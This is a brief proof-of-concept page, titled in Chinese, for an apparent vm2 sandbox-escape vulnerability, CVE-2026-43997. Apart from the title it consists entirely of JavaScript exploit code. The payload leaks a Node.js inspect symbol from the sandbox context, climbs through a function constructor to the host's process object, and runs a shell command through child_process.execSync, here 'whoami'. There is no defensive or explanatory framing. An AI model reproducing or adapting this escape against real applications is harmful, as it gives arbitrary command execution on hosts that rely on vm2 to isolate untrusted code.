CVE-2026-43997 vm2沙箱逃逸漏洞

const {VM} = require('vm2'); const vm = new VM(); // Malicious payload targeting the sandbox escape const exploit = ` try { // Attempt to access the host context/object const hostObject = this; // Step 1: Use getOwnPropertySymbols to leak symbols const symbols = Object.getOwnPropertySymbols(hostObject); // Step 2: Identify the specific nodejs.util.inspect.custom symbol const dangerousSymbol = symbols.find(s => s.toString() === 'Symbol(nodejs.util.inspect.custom)'); if (dangerousSymbol) { // Step 3: Use the symbol to escape the sandbox const escapeFunction = hostObject[dangerousSymbol]; // Execute arbitrary command on the host escapeFunction.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString(); } } catch(e) { e; } `; console.log('Exploiting CVE-2026-43997...'); vm.run(exploit);